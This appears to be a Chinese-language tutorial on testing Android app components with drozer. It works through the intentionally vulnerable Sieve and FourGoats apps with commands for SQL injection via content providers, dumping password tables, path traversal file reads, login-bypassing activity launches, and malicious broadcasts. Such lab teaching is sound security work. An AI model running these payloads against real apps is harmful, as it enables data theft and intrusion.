参考文章
Android 安全测试框架 Drozer-使用篇
Android四大组件
Android暴露组件——被忽略的组件安全
APP下载
前提知识
AndroidManifest.xml
AndroidManifest.xml 文件是整个应用程序的信息描述文件,包含了 APP 的配置信息。
其功能主要有:
- 命名应用程序的 java 包,这个包名将用来唯一标识这个应用程序。
- 描述了应用程序中包含的 Activity、Service、ContentProvider和 BroadcastReceiver 组件
- 定义了应用程序运行的进程
- 声明了应用程序需要访问受限 API 所需的权限
- 声明其他程序如果希望访问本程序组件所需要的权限
- 声明应用程序能够正常运行所需要的最小级别的 OphoneAPI
- 列出应用程序运行所需要连接的库
其中,我们重点关注的就是声明的组件信息,也就是下方 <application>
内的信息
<?xmlversion="1.0"encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.sample.teapot" android:versionCode="1" android:versionName="1.0.0.1" >
<uses-permission android:name="android.permission.INTERNET"/>
<application android:allowBackup="true" android:debuggable="true">
<activity android:label="@string/app_name" android:name=".activities.Main">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<provider android:exported="false" android:name=".DBContentProvider">
<grant-uri-permission android:pathPattern=".*"/>
</provider>
<receiver android:label="Send SMS" android:name=".broadcastreceivers.SendSMSNowReceiver">
<intent-filter>
<action android:name="org.owasp.goatdroid.fourgoats.SOCIAL_SMS"/>
</intent-filter>
</receiver>
<service android:name=".services.LocationService">
<intent-filter>
<action android:name="org.owasp.goatdroid.fourgoats.services.LocationService"/>
</intent-filter>
</service>
</application>
</manifest>
对于四种组件,需要关注的点就是 是否允许其他应用随意调用
-
android:exported 属性
该属性指明了是否支持其它应用调用当前组件。
Activity、Service、Broadcast 默认值:
如果包含有 intent-filter 默认值为 true,表示其他 Application 可调用该组件;
没有 intent-filter 默认值为 false,表示其只能被当前 Application 或者拥有同样 USER ID 的 Application 的调用。
Provider 默认值:
当 Android sdk 的最小版本为 16 或者更低时其默认值为 true。如果是 17 及以上的版本默认值为 false。
当组件的 android:exported="true" 时,会导致其他应用可随意调用该组件(直接调用或者通过 action 调用),那么势必会导致一些问题。 -
android:permission
<permission android:name="com.myself.permission.WEB" android:protectionLevel="signature"/>
<!--
定义一个 permission
其三个标签下的属性配置:
* name:该权限的名称,使用该权限时通过名称来指定使用的权限
* protectionLevel:该权限受保护的等级,很重要,主要介绍三个
* ————signature:签名级别权限,即权限的定义方和注册方必须具有相同的签名才有效
* ————system:系统级别权限,即权限的定义方和注册方必须为系统应用
* ————signatureOrSystem :同签名或系统应用,上述二者具备其一即可
* label:一般是权限的描述
-->
<activity
android:permission="com.myself.permission.WEB"
android:name="com.test1.WebActivity">
<intent-filter>
<action android:name="com.test1.action.VIEW_URL"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
</activity>
<!--
如上,在 activity 声明时,activity 标签下有一个 permission,通过 permission 的 name 就能指定保护该 activity 的权限
这样,只有具有了该权限的 activity 才能启动它,注意在定义方和使用方都要定义和声明自定义的权限
-->
也可这样申请调用权限
<uses-permission android:name="com.myself.permission.WEB" />
四大组件
-
activity - 活动
一个 activity 通常就是一个单独的屏幕,是用户操作的可视化界面。一个应用程序一般由多个 Activity 组成 -
content provider - 数据提供者
一个 content provider 类实现了一组标准的方法接口,从而能够让其他的应用保存或读取此 Content Provider 的各种数据类型。通过content://contacts/people/
URI 取得数据 -
broadcast - 广播
广播,是一种运用的在应用程序之间传输信息的机制,分接收与发送 -
service - 服务
没有用户界面的程序,通常用作在后台处理耗时的逻辑
基本的命令
基本命令 | 作用 | 示例 |
---|---|---|
list |
列出所有模块 | |
shell |
获取手机 shell | |
help 模块 |
查看具体模块详情/用法 | help app.package.info |
run 模块 |
调用某个模块 |
常用测试命令 | 作用 |
---|---|
基本语法 | run 具体命令 [-参数] |
run app.package.list |
列出所有包名(软件) |
run app.package.info -a 包名 |
查看某个软件(包名)的具体信息 |
run app.package.attacksurface 包名 |
查看某个软件的攻击面 |
run app.activity.info -a 包名 |
查看某个软件的 activity 组件的具体攻击面 |
run app.activity.start --component 包名 具体activity |
启动某个 activity |
run app.provider.info -a 包名 |
查看某个软件的 provider 组件的具体攻击面 |
run app.provider.finduri 包名 |
列出某个软件的 URI |
run app.provider.query content://xxxxxURI |
查看某个URI内容 |
run app.provider.query content://xxxxxURI --projection "'" |
检测某个 URI 是否存在注入 |
run app.provider.query content://xxxxxURI --selection "'" |
检测某个 URI 是否存在注入 |
run app.provider.query content://xxxxxURI --projection "* FROM SQLITE_MASTER WHERE type='table';--" |
针对某个 URI 进行注入 |
run app.provider.read content://xxxxxURI |
通过某个 URI 读取文件 |
run app.provider.download content://xxxxxURI 主机目录/文件名 |
通过某个 URI 下载文件 |
run app.service.info -a 包名 |
查看某个软件的 service 组件的具体攻击面 |
run app.service.start --action 某个 action |
启动某个 service |
run app.broadcast.info -a 包名 |
查看某个软件的 broadcast 组件的具体攻击面 |
run app.broadcast.send -action 某个 action --extra TYPE KEY VALUE |
执行某个 broadcast 组件的 action,并传递参数 |
run scanner.provider.finduris -a 包名 |
寻找可访问 URI |
run scanner.provider.traversal -a 包名 |
探测存在目录遍历的 URI |
run scanner.provider.injection -a 包名 |
探测存在注入的 URI |
一般测试步骤
注:测试 app sieve 是 drozer 官网提供的,测试前请提前进入 app 设置好密码以及 pin,并添加一条记录值
-
搜索对应软件的包名
run app.package.list -f sieve
-
查看具体包的信息
run app.package.info -a com.mwr.example.sieve
可得到:版本号、数据目录、权限 -
针对该包查探可能存在漏洞的攻击面
run app.package.attacksurface com.mwr.example.sieve
得到对应安卓四大组件可能的攻击面:- activity -- 界面
- broadcast -- 广播
- provider -- 数据
- service -- 服务
-
查看针对 activity 界面组件具体的攻击面
run app.activity.info -a com.mwr.example.sieve
-
针对每个 activity 攻击面进行测试,查看 app 反应
run app.activity.start --component 包名 具体activity
com.mwr.example.sieve.FileSelectActivity
com.mwr.example.sieve.MainLoginActivity
com.mwr.example.sieve.PWList
由此可见,前两个 activity 攻击面并不能造成实质性的危害,但是最后一个攻击面可绕过密码鉴定直接进入软件,由此便可造成用户信息泄露
-
查看针对 provider 数据组件具体的攻击面
run app.provider.info -a com.mwr.example.sieve
-
针对 com.mwr.example.sieve.DBContentProvider 攻击面进行测试
- 列 URI,
run app.provider.finduri com.mwr.example.sieve
分别测试每个 URI 是否能够访问,drozer 提供了扫描模块,run scanner.provider.finduris -a com.mwr.example.sieve
- 查看可访问 URI 内容,
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
- 测试可访问 URI 是否存在注入,
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
或者run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
同样,drozer 提供了扫描模块,run scanner.provider.injection -a com.mwr.example.sieve
- 注入出所有数据表,
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
- 查询某个表中所有数据,
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
- 列 URI,
-
针对 content://com.mwr.example.sieve.FileBackupProvider 攻击面进行测试
- 前面测试了存在注入的 URI,由于 provider 还提供文件访问,于是可以探测目录穿越
run scanner.provider.traversal -a com.mwr.example.sieve
- 读文件,
run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
可以根据run app.package.info -a com.mwr.example.sieve
得到的目录信息获取更多文件
run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db C:Users23098Desktopdatabase.db
- 下载文件
run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db C:\Users\xxxx\Desktop\database.db
- 前面测试了存在注入的 URI,由于 provider 还提供文件访问,于是可以探测目录穿越
分隔线 ----- 针对 FourGoats app 测试 broatcast 与 service 组件
-
查看 FourGoats 攻击面,
run app.package.attacksurface org.owasp.goatdroid.fourgoats
-
查看针对 broadcast 数据组件具体的攻击面
run app.broadcast.info -a org.owasp.goatdroid.fourgoats
-
针对 broatcast 攻击面进行测试
由于运行 broadcast 组件需要找到对应的 action,所以需要反编译 app
打开 xml 文件查找 action(命令.apktool_2.4.1.jar d '.OWASP GoatDroid- FourGoats Android App.apk'
)
- 直接执行造成拒绝服务,
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS
- 发送恶意广播
反编译 app 得到源码为:
共需要 2 个参数,phoneNumber、message
所以:run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --extra string phoneNumber 666 --extra string message test
- 直接执行造成拒绝服务,
-
查看针对 broadcast 数据组件具体的攻击面
run app.service.info -a org.owasp.goatdroid.fourgoats
-
针对 service 攻击面进行测试(先找到对应的 action)
- 直接执行造成拒绝服务,
run app.service.start --action org.owasp.goatdroid.fourgoats.services.LocationService
- 直接执行造成拒绝服务,
遇到的问题
- 使用
run app.package.list
命令无法列出所有包名,只能通过-f
参数来查找
原因:乱码造成的错误
解决办法:来到 python2 安装目录下的 drozer 模块D:softwarepy2Libsite-packagesdrozermodulesapp
打开该目录下的package.py
文件,在开头添加
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
并修改 List 类(加两个 u)
从此走向人生巅峰